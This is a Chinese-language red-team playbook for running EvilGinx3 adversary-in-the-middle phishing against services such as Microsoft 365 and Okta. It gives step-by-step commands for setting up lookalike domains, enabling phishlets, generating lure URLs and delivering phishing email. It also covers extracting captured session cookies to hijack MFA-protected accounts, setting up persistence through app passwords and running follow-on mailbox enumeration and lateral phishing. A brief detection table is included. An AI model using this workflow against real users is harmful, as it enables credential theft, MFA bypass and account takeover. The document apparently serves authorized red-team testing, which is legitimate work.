使用 EvilGinx3 执行初始访问
概述
EvilGinx3 是一个中间人(Man-in-the-Middle)攻击框架,用于钓鱼登录凭据和会话 Cookie,从而绕过多因素认证(MFA)。与仅捕获用户名和密码的传统凭据钓鱼不同,EvilGinx3 作为透明反向代理运行于受害者和合法认证服务之间,拦截包括 MFA 令牌和会话 Cookie 在内的完整认证流程。这使其成为红队演示对手中间人(AiTM)攻击风险的主要工具,特别针对仅依赖 MFA 进行保护的组织。
目标
- 使用针对授权范围的自定义 phishlet 部署 EvilGinx3
- 为钓鱼域名配置 DNS 和 SSL 证书
- 捕获绕过 MFA 保护的会话令牌
- 将窃取的会话 Cookie 导入浏览器以劫持已认证的会话
- 与 GoPhish 或自定义投递机制集成以执行钓鱼邮件活动
- 记录从钓鱼邮件到已认证访问的完整攻击链
MITRE ATT&CK 映射
- T1566.002 - 钓鱼:鱼叉式钓鱼链接
- T1557 - 中间人攻击(Adversary-in-the-Middle)
- T1539 - 窃取 Web 会话 Cookie
- T1078 - 有效账户
- T1556 - 修改认证过程
- T1550.004 - 使用替代认证材料:Web 会话 Cookie
实施步骤
阶段一:基础设施设置
- 注册令人信服的仿冒域名(如使用同形字或拼写错误)
- 配置 VPS 并将域名的 DNS A 记录指向服务器 IP
- 安装 EvilGinx3:
git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make sudo ./bin/evilginx -p ./phishlets - 在 EvilGinx3 中配置域名和 IP:
config domain example-phish.com config ipv4 <server-ip> - EvilGinx3 自动为已配置的主机名申请 Let's Encrypt 证书
阶段二:Phishlet 配置
- 为目标服务选择或创建 phishlet(如 Microsoft 365、Google Workspace):
phishlets hostname o365 login.example-phish.com phishlets enable o365 - 验证 phishlet 已激活且 SSL 证书已签发:
phishlets - 为钓鱼活动创建诱饵 URL:
lures create o365 lures get-url 0 - 可选:配置捕获后的重定向 URL:
lures edit 0 redirect_url https://legitimate-site.com
阶段三:钓鱼投递
- 制作包含诱饵 URL 的借口邮件
- 使用 GoPhish 或手动 SMTP 进行邮件投递:
# 与 EvilGoPhish 集成以执行联合活动 # 提供 GoPhish 邮件跟踪 + EvilGinx3 凭据捕获 - 如有需要,实施 URL 掩码或缩短以混淆链接
- 部署带有适当社会工程学借口的着陆页
阶段四:会话劫持
- 监控 EvilGinx3 捕获的会话:
sessions sessions <session-id> - 从会话中提取捕获的会话 Cookie:
# 会话输出包括: # - 用户名和密码 # - 会话 Cookie(认证令牌) # - 自定义捕获的参数 - 使用 Cookie 编辑器扩展将会话 Cookie 导入浏览器:
- 以 JSON 格式导出 Cookie
- 使用 Cookie-Editor 或 EditThisCookie 浏览器扩展
- 导航到目标服务以验证会话劫持
- 通过创建应用密码或 OAuth 令牌建立持久访问
阶段五:访问后活动
- 枚举邮箱内容、联系人和共享驱动器
- 识别用于横向钓鱼的额外目标
- 检查对连接的云应用(SharePoint、Teams、OneDrive)的访问
- 记录所有捕获的凭据和获得的访问权限
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| EvilGinx3 | AiTM 钓鱼框架 | Linux |
| GoPhish | 钓鱼活动管理 | 跨平台 |
| EvilGoPhish | 集成 EvilGinx3 + GoPhish | Linux |
| Cookie-Editor | 浏览器 Cookie 导入/导出 | 浏览器扩展 |
| Modlishka | 替代 AiTM 代理框架 | Linux |
| Muraena | 替代 AiTM 钓鱼代理 | Linux |
Phishlet 目标
| 目标服务 | Phishlet | 捕获数据 |
|---|---|---|
| Microsoft 365 | o365 | 会话 Cookie、凭据 |
| Google Workspace | 会话 Cookie、凭据 | |
| Okta | okta | 会话令牌、凭据 |
| GitHub | github | 会话 Cookie、凭据 |
| AWS 控制台 | aws | 会话令牌、凭据 |
检测指标
| 指标 | 检测方法 |
|---|---|
| 新注册的仿冒域名 | 域名监控和证书透明度日志 |
| 可疑域名的 SSL 证书 | CT 日志监控(crt.sh、Censys) |
| 钓鱼后的异常登录位置 | 认证事件的 SIEM 关联 |
| 来自不同 IP 的会话 Cookie 重放 | 条件访问策略告警 |
| 流量中的 AiTM 代理头部 | 针对代理工件的网络检查 |
验证标准
- EvilGinx3 已部署并配置有效的 SSL 证书
- 已为目标服务配置并启用 Phishlet
- 已生成诱饵 URL 并可访问
- 通过钓鱼流程成功捕获测试凭据
- 会话 Cookie 已捕获并验证 MFA 绕过
- 在浏览器中用窃取的 Cookie 演示了会话劫持
- 已确认对目标服务的认证后访问
- 已通过截图和会话日志记录证据